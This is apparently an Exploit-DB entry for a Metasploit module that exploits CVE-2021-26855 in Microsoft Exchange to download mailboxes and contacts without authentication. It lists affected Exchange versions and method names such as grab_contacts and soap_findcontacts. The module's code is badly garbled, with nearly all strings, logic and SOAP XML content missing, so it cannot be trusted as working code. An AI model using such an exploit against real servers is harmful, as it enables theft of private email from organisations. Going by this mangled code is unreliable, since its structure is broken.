标题: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit) EDB-ID: 49895 CVE: 2021-26855 类型: WEBAPPS 平台: WINDOWS 发布日期: 2021-05-21 漏洞利用脚本: # Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)
# Date: 2021-03-02
# Exploit Author: RAMELLA Sébastien
# Vendor Homepage: https://microsoft.com
# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
           Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
           Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
# Tested on: Microsoft Windows 2012 R2 - Exchange 2016

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


   
  include 

   info  
    
      
        info
          
          
          
           
        
          
           
           
           
           
           
        
          
          
          
            
            
        
          
            
        
      
    

    
        
         
        
    

    
         
    
  

        freeze

   grab_contacts
    response  soap_findcontacts
    xml  responsebody

    data  xml 
     dataempty
      
    
      datato_s
    
  

   total_count
    
    response  total_count
    xml  responsebody

    
    xml   item
      
      response  itemvalues itemvalues
      xml  responsebody

      message  xml content
      message
    
  

   data
    uri   

    received  
        
        uri
        
        
        data
    
       received

    received
  

   id change_key
    
      xml version encoding
      soap xmlns
      xmlns
      xmlns
      xmlns
        soap
          m
            m
              tt
              tt
            m
            m
              t   
            m
          m
        soap
      soap
    
  

   soap_findcontacts
    
      xml version encoding
      soap
      xmlns
      xmlns
      xmlns
      xmlns
        soap
          m 
            m
              tt
            m
            m    
            m
              t 
                t
                  t
                t
              t
            m
          m
        soap
      soap
    
  

   soap_mailnum
    
      xml version encoding
      soap xmlns
      xmlns
      xmlns
      xmlns
        soap
          m
            m
              tt
            m
            m
              t 
                t
                  t
                t
              t
            m
          m
        soap
      soap
    
  

   max_entries
    
      xml version encoding
      soap
      xmlns
      xmlns
      xmlns
      xmlns
        soap
          m 
            m
              tt
            m
            m    
            m
              t 
                t
                  t
                t
              t
            m
          m
        soap
      soap
    
  

   data
    loot_path    datastore data  
    
  

   run
    
    response  soap_mailnum
     responsebody  
      
      

      
      
      grab_contacts

      print_line

      
      
      xml  responsebody
      folder_id  xml values
      

      total_count  xml content
      

       total_countto_i  datastore
        
        total_count  datastoreto_s
      
      total_count URL: https://www.exploit-db.com/exploits/49895